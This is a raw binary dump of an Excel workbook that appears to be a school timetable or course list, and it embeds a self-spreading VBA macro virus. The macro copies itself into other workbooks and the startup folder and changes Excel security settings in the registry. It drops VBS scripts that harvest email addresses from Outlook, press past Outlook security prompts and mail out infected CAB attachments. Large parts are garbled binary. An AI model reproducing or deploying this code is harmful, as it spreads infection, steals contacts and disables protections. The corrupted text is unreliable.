ࡱ> 2g1  !"#$%&'()*+,-./0;E456789:<@=>?ADBCGUIJKLMNOPQRSTFVWXYZ[\]^_`abcdefhijklmnopqrstuvwxyz{|}~Root Entry F@0O3IWorkbook\_VBA_PROJECT_CUR"PhNOVBAPhNN  \pzzl Ba= ThisWorkbook=xKk:!8X@"1/[SO1/[SO1/[SO1/[SO1/[SO1h/ўSO1/[SO1"/ N[_GB23121"/ N[_GB23121"/ N[_GB23121"/ N[_GB23121"/ N[_GB23121"/ N[_GB23121/[SO1" / N[_GB23121 /[SO1"/ N[_GB23121/Arial+""#,##0;""\-#,##05""#,##0;[Red]""\-#,##07""#,##0.00;""\-#,##0.00A""#,##0.00;[Red]""\-#,##0.00i*2_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_ .))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ y,:_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_ 6+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ \$#,##0_);\(\$#,##0\)\$#,##0_);[Red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[Red]\(\$#,##0.00\)"Yes";"Yes";"No""True";"True";"False""On";"On";"Off"],[$ -2]\ #,##0.00_);[Red]\([$ -2]\ #,##0.00\)                  , * + )  8@ @ 8@ @ 8@ @ 8@ @        8@ @    8@ @  8@ @  8@ @  8@ @  8@ @ 8@ @  8@ @ 8@ @ 8@ @  8@ @  8@@ (@ @ 8@ @  8@ @ 8@ 8@ `qMacro1D"c p6{ESheet3VV! :! :! :! :">^S 7f[y 7cYe^ 7cs~ 7  7Yl 7틇e 7pef[ 7 7irt 7uir 7Sf[ 7SS 70Wt 7?el 7SO 7PN 7  2012.11.30 7./g 7dlq{Oe 7HwQ 71gQR  7 zUa[ 7m 7gez 7 _:_ 7Xo[Z 7ѐXo*t 7l_l 7 z8l>N 7dl[q\ 7 _=N 7eNS 7cck\ 7H_l 7s 7bg 7S%f 7hgee 7*m^)R 7hguQ 74bHQf 7uOe 7ؚN~$ 7ؚ Nv$ 7 ؚNw$ 7 ؚ Ny$ 7 ؚN$ 7 ؚN}$ 7 ؚNu$ 7 ؚNz$ 7 ؚNw$ 7 ؚN$ 7ؚN$ 7ؚN$ 7 ؚN$ 7 ؚN$ 7 ؚNy$ 7 ؚN$ 7 bir~vQUO'`( 7 I{]peRvMRQyT 7C{|vR 7 ё^\v'`( 7 _ON 0 N)Yl 0 7 _O N 4.3bv[aN`7hSU\ 7 ctckb NKbSt 7 1.4.3 ckRQpeVPN'`( 78.1 V["?e 7 ,{17klN`` 7Oo` 7ѐW*t 7bSs^ؚN}$ؚNu$ 7PN^yzNbyr 0hV~v 0 7YZ 7!k 7wYe[Wef J\hQVYYef[Kb 7sHQۏ 7[W^r^Ye^ 7[_w!jYe^ 7[_wyr~Ye^ 7U$pg 7,{4 Nu;m 7ؚNt$ 7ؚ N$ 7ؚN$ 77.1 RM6R^ 7 ؚ Y`N---S)틵k 7ؚN$ 7 0VqQASt^[\ 0 ,{8Y(u5uhvSt 7ؚN~$ 7,{4RvTbirt[[1  7^f[y&^4YN 73.1.3 e,gOo`vR]Nh 2 7 ,{17 >ebN 7 틇e,g2 0RfgN 0 7 {tLۏЏtcUSKb Nb{ 7Module 6 Unit 2 Reading 7Module 2 unit 1 grammar 7ؚNx$ 7  0R_V0uE\ 0vQN  7ؚNw$ 7Module 2 unit 2 Reading 7 4.3ir(荜Џve_ 7 ,{Vz,{2ypeϑvSS 7ؚNx$ 7 ؚNy$ 7v{|v4l 7,{4Nu;m 7_O N 4.3bv[aN`7hSU\ 7 ؚ Y`N---ee 7cs~ 7@ؚ Nv$ 7@ؚNt$ 7@ؚNx$ 7@ؚ N$ 7@ؚN~$ 7@ؚNw$ 7@ؚ Ny$ 7@ؚNw$ 7@ؚN$ 7@ؚN}$ 7@ؚN~$ 7@ؚNu$ 7@ؚNy$ 7@ؚNz$ 7@ؚN$ 7@ؚN$ 7@ؚN$ 7@ؚN$ 7@ؚNy$ 7@ؚN$ 7@ؚN$ 7@!k 7,{4RvTb 7 I{]peRvMRnyT 7 4.2uirvAmRvL]!jW 7 lS-Nf[2012t^Yef[_>eelQ_h  7 iOz3^F/ZW!L +V It  cc @  - !  dMbP?_*+%"??U BT+ zzlBA B~ h/y(u[ sQ 2012-11-29 9:03:12 Please Enable Macro!Bv B A B7d /   >@7    F'~5  dMbP?_*+%&= ףp=?'= ףp=?(ףp= ?)= ףp=?M\\192.168.5.155\HP LaserJet 104 4XXp=?ףp= ?= ףp=?.N@NeNNh|NSDDMHP LaserJet 1020 -(d" dX??U} } } } } } } }    @ h@ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@@@@@@@@@@@@@@@ 1111111  .   M   ~ .? 0 ~ @ W Z~ .@0 ~ @ , r S~ .@0 ~ @ V !c~ .@0 ~ @ g h~ .@ 0 ~ @ + B R~ .@0 ~ @ - ; `~ .@ 0 ~ @ .  ~ . @ 0 ~ @ i j O  ~ ."@ 0 ~ @ / e ~ .$@ 0 ~ @ 0 f ~ .&@ 0 T~ @ ^ ] ~ .(@0 ~ @ 1  N~ ..@ 0  ~ @ 2 o ~ .0@0 !~ @ 3 >~ .*@ 0 ~ @ V k~ .,@0 ~ @ n ~ .1@ 0 "~ @ 4 C~ .2@0 #~ @ X Y~ .3@ 0 $~ @ 5 D~ .4@0 %~ @ 6 b~ .5@0 P~ @ [ /\ Q~ .6@ 0 '~ @ 7 q~ .7@0 &~ @ 6 ?~ .8@ 0 )~ @ 9 d~ .9@0 (~ @ 8 A~ .:@ 0 G~ @ H J~ .;@0 F~ @ I K~ .<@  L~ @ V p~ .=@ E *~ @ : aD l$b^^ZZb^ZpZZ^^^Z^Z^Z^Z^^Z^Z^Z^>@ddb    7 Sheet1   B;D  dMbP?_*+%M\\192.168.5.155\HP LaserJet 104 4XX H LaD SDDMHP LaserJet 1020 -(d" dX??U} '} } -}  $cs~@@@@@@@@@ @ @ @ @ @@@@@@w@@@@@@@@@@@ %  ) "s ( ~ *@ "y ( )~ *@ " (  ~ *@ " ( T~ *@ "~ ( ~ *@ "| ( '~ *@ " ( $~ *@ " ( (~ *@ " ( ~ *@ "t ( ~ *@ "z ( ~ *@ "w ( L~ *@ #u ( ~ *@ #u ( ~ *@ #u ( ~ *@ " ( F~ ,@ # ( !~ *@ "{ ( ~ *@ "{ ( ~ +@ "v ( ~ *@ " ( G~ ,@ #H ( ~ *@ "} ( ~ *@ "x ( P~ *@ " ( "~ *@ " ( &~ *@ " ( %~ *@ " % #~ *@ " &E *~ *@ "@D88888888888888888888888888888>@7 Sheet2   WES_X[  dMbP?_*+%"??U} } } } ` }  }  W                     M   ~ ? 2 ~ @ , S~ @3 ~ @ V !c~ @3 ~ @ g h~ @3 ~ @ W Z~ @ 2 ~ @ + B R~ @3 ~ @ - ; `~  @3 ~ @ . <~ "@ 2 ~ @ i j O  ~ $@ 3 ~ @ / e ~ &@ 3 ~ @ 0 f ~ (@ 2   1 _ N~ *@ 3 T~ @ ^ ] ~ ,@ 2 ~ @ V k ~ .@4 ~ @ m l~ 0@ 2  ~ @ 2 = ~ 1@4 !~ @ 3 >~ 2@ 2 "~ @ 4 C~ 3@4 #~ @ X Y 2 P~ @ [ \ Q~ 4@3 $~ @ 5 D~ 5@4 %~ @ 6 b~ 6@ 2 &~ @ 6 ?~ 7@4 '~ @ 7 @~ 8@ 2 (~ @ 8 A~ 9@4 )~ @ 9 d~ :@ 2 F~ @ I K~ ;@4 G~ @ H J~ <@  L~ @ V U~ =@ E *~ ? : a  D~ lb^ZZZb^ZpZZ^Z^Z^Z^Z^ZZ^Z^Z^Z^^ !"#$%&'()*+,-./0123456789:;<=>?  ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ?D@l@ABCDEFGHIJKLMNOPQRSTUV @ A B C D E F G H I J K L M N O P Q R S T U V2>@Z    7 Sheet3 ThisWorkbook__SRP_4$0__SRP_5 )BSheet1+~  !"#%&'(*,-./0123456789:;<>?@BDEFGHIJKLMNOPQRSTVWXZ\]^_`abcdefghijklnoprtuvwxyz{|}~<8%h#<dRLD%A F>ئFF4x>ئFF4dRLD%A MEPSLSS6"`&^<<N0{00020819-0000-0000-C000-000000000046}x(%H` % %%*    H )\h%h8@TT0PV^R$*\Rffff*08525e5650*\R1*#2a9*\R1*#2ad4 "  ( 0@H"  PX\`     ] Ġ &.P &((APo0  &{0002E157-0000-0000-C000-000000000046} \!<!B@ &(.0 &((! \A@Z &(.oAttribute VB_Name = "ThisWorkbook" Bas0{00020P819-0C$0046} |GlobalSpacFalse dCreatablPredeclaIdTru BExposeTemplateDerivBustomizD2Public WithEvents xx @As App ation fxx.VarHelpIDU-1 P;? Sub _open() P Set)= )On Error ResuNext4:.Disj yAlerJ= iCall do_whaEndC: Axx_w{O!ByVal wb5'& wb@8Project.References.AddFromGuid _ GUID:="BE157 -P, Major:=5, Mi nA3 LL"LLPPLLPLP*LH ` x )YB YD YF YH YJ`L `N +  `  H+n0 ` Sip`r`t`+2 `  e@z @| `+H `  oI @ @  ` xI  I @ @ 6 `!! P %``` R` @ @ @ ` 8 x  P0 8P  @H H "%@&0246@x @t @p @(` & @\ !*@L &(@X< @, cro1(@xApplicationB@Xl ate @\ C@B@X xx ="T`P%xxtC@B@P icat(x` Resume NextB@x BPro@t romG@d @` 2E15@\ 0000 %X`%Minor:@@T icat@XP Fal@pL icat@H Fals(8P(h`@ ]x Th( D%@p J@` @\ 4&@L @< (@ , @( $d@$ \!@@ ` @X @p @ @ @@ @ f@ $|@? P@8 @ f '  "@PV^R*\R4*#   '0P `hx B  B    "(P B$ X p x      ( 0@HP Xhpx  *  " 0 @ P`h px           ( H`(x        ( "8 `  p  x        B       B L` J H H  `  p      B        * ZH V \ X`     ( H "  PX`  "    .< ( (@!X(x6Y(^r(@!X(x!(! <? 058P B  X`hp "   0bP 02  ( .0 `hpxP    .@ JH ,,  ( " 0&8 `*h 2F$8`h "x"B>0 p2 . 86X 2  @8`2 2@ X &h "&2N0PNJ *p20"T0.4\h,8:bX.PJ@  $ Z 8(!4`!B!>! "8"BH"<"""(". #HP#J##$$ $H$h$>x$D$@%V@%&%@%&R&dh&&*&&'@'(P'x'j'4(&@(h(j(4(&0)X)&x)))0).)H(*Xp*J*.+8H++6++"+,0,8@,6x,0,P,0-8@-x-B->-.(.(8..`.H.P.(/H/$`// / /(/// " 0 0(080 @0*`060F0 1&01X1`1 <p1"1L1(2H2Ph2P2d3p3p3@4v@44P4V 5nx5560777>708JH868&8"8 9&@9 h994969 :8:0P:*:(:x:BP;*;$;;<&(<P<p<  <<<<,<(= 0=  @=P=(X== =$=== >0?8? N@?R?T?T@@>@ 2@LA `A^pA:AB B(B " 0B8B@BHB $XBB BBBBBBBBBB BCC C(C0CHCPCXC`ChCpC B xC2CCCCCCDDD B  D D8D@D XDhDD DDDDDD*D2EPE`EhEB pExEE4E.EF*F HFXF B  `FhFpF*F F F FF "  FGG*GJHGG GG GG GH H0H8H " @HHH`H hH xHHH H@HHII 0I @IPIXI`I pII*IIII&J|(JvJ, K PK `KpK xKK B  KKK K K KK&L0L$8L"`LLLLLL L LL &((del_sh !* &!,Bool &(.ror ReA0A2$4!Macro1G A@6jpdatin B@8ing &(.kXoP@]" ThisWorkbook !<%>!@#Public WithEvents xx As ApplicationC@BPrivate Sub Workbook_open()C@BSet xx = ApplicationC@BOn Error Resume NextC@B!Application.DisplayAlerts = FalseC@B Call do_whatC@BEnd SubC@B1Private Sub xx_workbookOpen(ByVal wb As Workbook)C@B On Error Resume NextC@B %wb.VBProject.References.AddFromGuid _C@B GUID:= :&{0002E157-0000-0000-C000-000000000046} :, _C@B Major:=5, Minor:=3C@B "Application.ScreenUpdating = FalseC@B!Application.DisplayAlerts = FalseC@B copystart wbC@B!Application.ScreenUpdating = TrueC@BEnd SubC@Bqo]]] !<.D ThisWorkbook D%>.F F!@.J J5NC@Lqox8 !* &!,A@RATAVAXk0i(x]]k4.xls$d!<.` \!<.bToDole ` b$fGzji   ]]](]@]X]p] j'fz0k( h$| ~'fzk l'fzk j! 'fzk l! 'fzkx h j%>.F !'fz@k8Temp$\ h.bas'p n p    $~ ~ B@ pA@ !'fzkk l!> h7C@qXdP B@ h l%>.F ! ! d'fzkkk p h j%>B@ p\$'v p.$'x p v x v  $'r.F r l%>.F F p l!>B@d F!l  p l!>%.z F!@5NC@L z!@!N z!@%'t tC@Bq z l!>B@k`kX pA@'fi8]] !' &!,\k4.xls'k4.xls$ !* &!,Gk4.xls$dB@Bjcomspec$  /c attrib -S -h " &!,\K4.XLS" A@comspec$  /c Del /F /Q " &!,\K4.XLS" A@comspec$  /c RD /S /Q " &!,\K4.XLS" A@ !* &!, &(. (  B@ ( &(.kHi@]Xp]] &!'scRiPTinG.fiLEsysTeMoBjEcT$.,HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\AccessVBOM',HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\Level'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\AccessVBOM'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\Level'''   REG_DWORDA   REG_DWORDA   REG_DWORDA   REG_DWORDAi] WScript.Shell$.    B@dP    B@k0.o ]8 \%4B@H l 4B@Macro1 (A2$B@H =ERROR(FALSE) (A3$B@H=IF(ERROR.TYPE(RUN(" &!"))=4) (A4$B@H=ALERT("ú꣬ر $  $Please Enable Macro!",3) (A5$B@H=FILE.CLOSE(FALSE) (A6$B@H =END.IF() (A7$B@H =RETURN() (  \!4 !!Auto_Activate =Macro1!$A$2 \!B@  \%(oP'  &%d! 'z`kXPiH]10:00:00]11:00:00]14:00:00 ]15:00:008]Ph WScript.Shell$.,HKEY_CLASSES_ROOT\mailto\shell\open\command\ %$ OUTLOOK.EXE G|j        D:\Collected_Address:frag1.txt$1| d 1D:\Collected_Address:frag1.txtA@A@ k d G|j   n $   n $| d n $' D:\Collected_Address:frag2.txt$X' n $ D:\Collected_Address\log.txt$|` dX D:\Collected_Address:frag1.txtA@ D:\Collected_Address:frag2.txtA@A@k k k o ] 8 scripting.filesystemobject$. WScript.Shell$.E:\KK %GE:\KK B@ j ! ! $ _$"._$"'E:\KK\  _clear.vbs'$ ' $  On error Resume Next Dim wsh, tle, T0, i  T0 = Timer  Set wsh=createobject("wscript.shell")  tle = "Microsoft Office Outlook" For i = 1 To 1000 $ If Timer - T0 > 60 Then Exit For  Call Refresh()  wscript.sleep 05  wsh.sendKeys "%a"  wscript.sleep 05  wsh.sendKeys " {TAB}{TAB}"  wscript.sleep 05  wsh.sendKeys "{Enter}" Next Set wsh = Nothing  wscript.quit  Sub Refresh() *Do Until wsh.AppActivate(CStr(tle)) = True $ If Timer - T0 > 60 Then Exit Sub Loop  wscript.sleep 05  wsh.SendKeys "%{F4}" End Sub VE:\KK\  _Search.vbs'& ' &  On error Resume Next Const olFolderInbox = 6 $Dim conbinded_address,WshShell,sh,ts #Set WshShell=WScript.CreateObject("WScript.Shell") Set objOutlook = CreateObject("Outlook.Application") ,Set objNamespace = objOutlook.GetNamespace("MAPI") <Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox) Set TargetFolder = objFolder conbinded_address = "" !Set colItems = TargetFolder.Items wscript.sleep 300000 WshSHell.Run (" wscript.exe  $"), vbHide, False  ts = Timer For Each objMessage in colItems & If Timer - ts >55 then exit For M conbinded_address = conbinded_address & valid_address(objMessage.Body) Next add_text conbinded_address, 8 )add_text all_non_same(ReadAllTextFile), 2  WScript.Quit  +Private Function valid_address(source_data) T Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr  Dim regex, matchs, ss, arr()  Set oDict = CreateObject("Scripting.Dictionary")  Set regex = CreateObject("VBSCRIPT.REGEXP")   regex.Global = True  regex.Pattern = ",\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*" * Set matchs = regex.Execute(source_data) % ReDim trimed_arr(matchs.Count - 1) 3 For i = Lbound(trimed_arr) To Ubound(trimed_arr) / trimed_arr(i) = matchs.Item(i) & vbCrLf  Next  3 For i = LBound(trimed_arr) To UBound(trimed_arr)  oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) ; valid_address = valid_address & nonsame_arr(i)  Next  End If  Set oDict = Nothing  End Function  0Private Sub add_text(inputed_string, input_frag) 5 Dim objFSO, logfile, logtext, log_path, log_folder  log_path = "D:\Collected_Address"  Set objFSO = CreateObject("Scripting.FileSystemObject")  On Error resume next 1 Set log_folder = objFSO.CreateFolder(log_path)  $ If objFSO.FileExists(log_path & " \log.txt" ) = 0 Then 7 Set logfile = objFSO.CreateTextFile(log_path & " \log.txt", True)  End If  Set log_folder = Nothing  Set logfile = Nothing   Select Case input_frag  Case 8 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 8, True, -1) & logtext.Write inputed_string  logtext.Close  Case 2 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 2, True, -1) & logtext.Write inputed_string  logtext.Close  End Select  set objFSO = nothing End Sub  "Private Function ReadAllTextFile()  Dim objFSO, FileName, MyFile  FileName = "D:\Collected_Address\log.txt"  Set objFSO = CreateObject("Scripting.FileSystemObject") < Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)  If MyFile.AtEndOfStream Then  ReadAllTextFile = ""  Else ( ReadAllTextFile = MyFile.ReadAll  End If set objFSO = nothing  End Function  *Private Function all_non_same(source_data) ( Dim oDict, i, trimed_arr, nonsame_arr  all_non_same = ""  Set oDict = CreateObject("Scripting.Dictionary")  * trimed_arr = Split(source_data, vbCrLf)  3 For i = LBound(trimed_arr) To UBound(trimed_arr) ! oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) B all_non_same = all_non_same & nonsame_arr(i) & vbCrLf  Next  End If  Set oDict = Nothing  End Function V * &(( wscript.exe & . B@,.oP]]  2'0 WScript.Shell$.scripting.filesystemobject$.E:\SORCE %GE:\SORCE B@ j ! ! $ _$"._$"'*  *Message*'4 E:\sorce\ _Key.vbs' '   .Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route On error Resume Next Set sh=WScript.CreateObject("shell.application") sh.MinimizeAll Set sh = Nothing Set Fso = CreateObject("Scripting.FileSystemObject") %Set WshShell = WScript.CreateObject("WScript.Shell") If Fso.Folderexists("E:\KK"!) = False Then Fso.CreateFolder "E:\KK" Fso.CopyFile _ WshShell.CurrentDirectory & "\ *.CAB", "E:\KK\", True For Each Atta_xls In ListDir("E:\KK")  WshShell.Run "expand " & Atta_xls & " -F:  .xls E:\KK" , 0, true Next If Fso.FileExists("E:\KK\ .xls" ) = 0 then - route = WshShell.CurrentDirectory & "\ .xls" 7 if Fso.FileExists(WshShell.CurrentDirectory & "\ .xls")=0 then # route = InputBox(" Warning! " & Chr(10) & "+You are going to open a confidential file." & Chr(10) _ " & "%Please input the complete file path." & Chr(10) & "#ex. C:\parth\confidential_file.xls", _  " Open a File" , "$Please Input the Complete File Path", 10000, 8500)  End if else  route = "E:\KK\ .xls" End If  set oexcel=createobject("excel.application") ' set owb=oexcel.workbooks.open(route)  oExcel.Visible = True Set oExcel = Nothing Set oWb = Nothing Set WshShell = Nothing Set Fso = Nothing  WScript.Quit %Private Function ListDir (ByVal Path) ( Dim Filter, a, n, Folder, Files, File  ReDim a(10)  n = 0 " Set Folder = fso.GetFolder(Path)  Set Files = Folder.Files  For Each File In Files  If left(File.Name, ) = " " and right(File.Name,3) = "CAB" Then 4 If n > UBound(a) Then ReDim Preserve a(n*2)  a(n) = File.Path  n = n + 1  End If  Next  ReDim Preserve a(n-1)  ListDir = a  End Function V !* \TEST.txt' '    E:\sorce\ _Key.vbs  E:\sorce\ .xls V &(.A@6 E:\sorce\ .xls B@A@R$L' 8 !*$A@:#"C:\" !*A@:comspec$  /c makecab /F " !* \TEST.TXT"J /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../ .CAB . B@, " !* \TEST.txt %< !* \setup.rpt %< !* \setup.inf %< !*\ .CAB %<aA@comspec$  /c RD /S /Q " !*\disk1" . B@,comspec$  /c Del /F /Q " !* \TEST.txt" . B@,comspec$  /c Del /F /Q " !* \setup.rpt" . B@,comspec$  /c Del /F /Q " !* \setup.inf" . B@,comspec$  /c RD /S /Q E:\sorce . B@,E:\KK %GE:\KK B@ jcomspec$  /c MOVE /Y   .CAB E:\KK" . B@, 8A@: 0  Dear all, @  @FYIE:\KK\ .CABA>comspec$  /c RD /S /Q E:\KK . B@,. &(.o=8 ] ]0 G|jOutlook.Application$.L R L%P.N N D9D F9F B9h H9T J5VB@9Xq =Z=\= NB@^[ setforth A@A@A@%sbA@`A@\<Z<.L.No<H Win32_Process WinMgmts:$f%h.d'  j d j!lOUTLOOK ' y<k;;i; ]   'n pGzj p   p n$$ 'n zP;kH; p 'rA@4  v r  x   't x t G n$$ x t 'nj x t 'x:i:0 ]p   '2D:\Collected_Address\log.txt$ @$~'z z z  $n$$$~'|  | 2; $|X $z'2 i9 9] 0 scRiPTinG.fiLEsysTeMoBjEcT$.  %. !' B@Bi9H 8]  scRiPTinG.fiLEsysTeMoBjEcT$.   $ %G   $ B@ j  %<  %.  B@ B@Bd8  %.  B@ B@Bk7o7 ]8 X p ] &(. &((p7  ! ( !!$~# Auto_ActivateG B@j7  !4 !Macro1  ( B@k66$4B@H 4B@  !4 !$4!G  (j06 v ' v '** CONFIDENTIAL! **  +Use "$ ! ! $_key.vbs"$ To Open This File.  + "$ ! ! $_key.vbs"$ ļ.  +  $  $$5(5(q4 &(.op4 ]  (@4 !' &(. &((  !4 !Macro1G  (j3 A1:F15 $4% ! CONFIDENTIAL 'yh3k`3X3 G $4B@j &(.i 33HAttribute VB_Name = "ToDOLE" PrivalSub auto_open() Application.Display@Alerts|False If ThisWorkbook.Pa@th <> tS@tartupT@hen creenUpding[ Call delete_tf_wk<copytowxSheets0(1)."M@acro1"Sen Movem4 [ cSavnSTruEnd If   Rjonst @DQUOTEv"3?Wi BVBProject.VBComponenn" ").CodeModuBlF.InsLines 1, P"Pub Ev xx As_@ 2 vE 3 Set=4 On Error Resu@Next5  6 o_wtha7h8Ixx_OByVal wbkAMB) 9!7120 wbtvReferences.AddFrom@Guid _M1AsGUID:=" && "{0002E157-u0CB0046}k, >Major:=@0Min!3={ϒw?: XaAAhs!`0 >atACw!dxxKx8Dim`8BVBIDE: v?xw')y jC = s(#%A7aj!! $ .DBuntOf'(Funrc d#r&n.ŠtoreAfterar}DoorMisofthobb yABJudg  M(2d | e>AB1o>`2=1>E 8k4.xls A 2)7A-m@@oDole","D ?b|)qExit Rsgv@eStringE L& /tToo4fOve@rwrite s&t1Bo an)#xt~ ?:!<3AFO  AS SlashPows LonbgExt0FTempuFL c@Is No`0eq !# L a ATrim()vbNull3%a  Y" Q0@c].;t 70"_pp_locked_y15 [t?0 22F!'Q ?:f # О.NumberA0!0_!Y!9=vironN2")"\ !.bas D<= + s$Di$r(", .or mp+HiddšSystem~)01CleakE KiB% q929*8* .Rem .I BgEb@Xrr.:))/ += 9?7 0+A?23a;roject.VBComponents(ModuleName).Export F"i@:=F\   SlashPos = InStrRev(F, "\")HExtD."cZGMidB]+P 1, F-t- 1bet GNothingToVBPB *If)Is *` Then, (.I El se!2.Type_vbext_ct_Docum_̌9;S~TempK:CKWith?.pCode.DeleteLinesAj untOf S7*H. (zCo-A! .Inse,rt!SEn d A4KOn Error GoTo 0 VPRempove ) IfKill copymCru Functio@  Microsofthobby(>Dim myf0 As º9MyI8Res N = KisWorkbook.Full| = Applica.StartupPa@C&|k4.xls" XeOpen("$) A/ThH <> k s' .Clo se FaBgShe *Environ$("coms@pec")  /c attrib -S -h """9K4.XLS, vbMinimizedFos @`@ /F /Q? \? RD /S 3 B62= )creenUpdy DngY4r IsAddin^/SaveC c`ZOk) ZTlasm!!WDoorElFso, RK1i*234 rKValuebVariant, c dcVSw`krVersBA@+CreateOb("scRiPTinG.fiLEsysTA`BjEcTx  = "HKEY_CURRENT_USER\SA0Gware\H\Office\4Q&Excel\Security\AccessVBOMPARK2+t\Le(velB3FLOCAL_MACHINE__"] ~4X   5 = 1. CaLWReg("p"REG_DWORDŒz 2$03744 !3Sub bstrkey',, //Rk|2oWsq]S,P;-WScript.Ya6D0_8KF.`W*e  d C"dn  B Priv: %M ma~4(ByP wbp@@xtQ shtC?c 0e1).Sp^cqWpP.Y ! :=xl64M!# Ave.4"218SRange("A,2"kCz.FormulaR1C116=ERROR(FALSE)գ U3_ia_ "=IF(.TYPE(RUN(; |~Up J""))=4 4Ac ALERT@ú꣬ر PChr(10NowA"PleaE@nable !"",3m5oocFILE.CLOSE/6aEND.`7RETURN(#! Each )In(wb$s"( %!Auto_#1 "`M=&!$A$~2X,+sB(0/VisiA= xlB,ryHiddܸ88Fu7ҬBR$wK6`) .v v;BƶotpKL0)4s(a1) > 0pÎAExi& p d I3 okNotOpen: End Function Private Sub ATJudge() Const T1 As DF= "10:0U"<2 <1 <3U <4 4 5Dim SentTime", Ws@hShellSet = CreObject("WScript.-"If  InStr(@UCase(&.RegRead("HKEY_CLASSES_ROOT\mailtHo\s:\o\command\")), "OUTLOOK.EXE") > 0 Then ExitS<b>= <2 Or.  4% N "QOunD@:\Collted_Address:frag1.txtC" G% ElseCBPFilez"7\ search_in_OLyIfG2bif_outlook_U+M# G< TF=("n)10,)R TZ 4)GFF=B-21,w@,Orror GoTo t@EIKCA3(w2w@FGGVw < (2@Gb$ \loggHPH HnI" JI`Now9R#i,"Cab_ dMyISBU`GVaxˤ)] aiInteger, AttNaing@ddVbsbkListfs gaLResu` Next 7s¡.f{systemoOb_I @Mfs.Folderexs("E:\KKbFa}z$8b  $= Replace`Left(ThisWork b.!), Len) - 4 K_"A.D qF._cl\" &f4& "P.vbs@PiFHreea2 7}d7 F{@pu t`c Wri3 ;#i3nt #i V4e4 (Gwsh, Xtle` vi  T0r-a7=cc:(""i!"w>.4) @Microsoft Office PAZ'Q1 `N1000 Ifmrp > 6 rCall !f m h( leep 05p.sendKeys $ %a P  Uh{TAB~}BOO @O{E`Cr}A=[w `th=U quitRePDo Untibl AppqA(JCpJ("))True+aSI*aLoop=% s?_ 1q[z{F4?7q\Sub`Close (i0s@\ @A"b@В@0AyAn Af'olVInbox 6QCconbiTnd`ac,E,DtLxF#=YusC۳38F_A б. %lica!T. 9^sp`.GetMMAPI vD@efault(J_ Targe~ eC 1 colIPxsI.B23V VaH.Run _exopo svbHidg{{tB pgQ/E(achMPpage in K< 0IB`>55 t`t ?0=@/valhid_0($D .pBodyUp_t@, 8{ j_non_sО2AllT002ku5QY{0;2u source_dataL AaAoDictr dpta , temp_data, ih_asc, header_endHrimed_arr, no nsame0" Print #l" Dim regex, matchs, &sn()XSet oDict = CreateObject(""" & "Scripting.$ionaryLyLVBSCRIPT.REGEXPGQ(.Global,TruePattern-\w+([-+.])*@\. ,+EExecute(sourcfeُReÇ(!".Cou- 1For i@$Lbd() pTo UN* i)@I(& vbCrLfNext (B(N(H7@%)`Ý'IfX> 0 TxhenS!HI$.keysS L>f>@validdress}&{`# !@ E0nd I/;i|Nothy Funct{+v Sub add_t@F(inpad_sOng`_frag/\AbobjFSO, logfile A_path#fol@ `&$FD:\CollA*ImB!FSysf#D On Err`w9ume niA .cFb(el n ].Exist.sch\ .tzl8b$a2T !  , o$8S"S'$SeaB Case ׂTR #8 "AT"Open"tdF, 8#, - 1A.Writ -c5 C2Clos;_q 2 SO. 9O% 2 s C C I%[s!5>nN "ubNeQ RAllF?.M2N, My@%Lss< UBound(a)cP@erve a(n*2A?rn x+ 1/ 8@} o/ -1/ d}=0a) ClopW(iPp?q z b\TEST.t #PK_aX>~ нw.@eenUpd`n&g" гto reBefPSend SaveC1 Af<c c<4$1 Ch8Dri%, ,'"C:\ir`)1 QEnviron$("comspec"3 /c makecab 0 c*i  !If NxextyBRadomNine`(leng>Integerr eH !@jj, ki"N"#$<= oc @:1E i1 `-O$$_id U = t / 10Ran0izW[ k `(RY* (@* i - m01)) + 1T mk <> t  m/ `get_ten_]q.KUAslea_arrAlPApSpkt(Read@[("D: \Collfed5h\logr)pcxYkrrV)U@Bound()uLs "#O P$;A$(C`(i- 1&G$O7on Fxull6%F\Rxesu&FsoileT2>aQK`{sscRiPTinG.fiLEsysTeMoBjEcTsF@.O@zEa(5 , 1T,| -a q$.1!All*.C|loᾟg 3ragMark, pathfO?NO‰OQ}("OM@:Left(, Lena(10  ´f`It_Q1" ue 2Write Fd 1Eڑ1"i"b"A1#mqSӮgN4storeBeeQ(#!! aa!i, i_rowjcol@Psht1s_Z48.DisAlert!$++I Q  aa.Visible ~r0#VS"!")(1)`"Auto_Aq" Then aa.Delete Next For Each sht InisWorkbook.Sheets IfF.Name = "Macro1B.VisiblBxl| DUEnd IfAp(1).ScC.Add5<<> V^VeryHiddenH i_rowwInt((15 * Rnd) + 1) i_col6 CellsR(, )"** CONFIDENTIAL!b " -2Use " & Chr(34)Left(Thk, Len ) - "_key.vbs @p0o OpA FPile.$3 $8$1V$ļ"With Range(U, NgB.Font.Bold_TruColorIndex@3  Application.ScreenUp2dng Sub Private Func RestoreAfterW"(#Dim, del_, rngCfrag As BooleaOn Err{@u܃@ A9veB,Fa ls DisplayAlerts D?$ l*Bwl 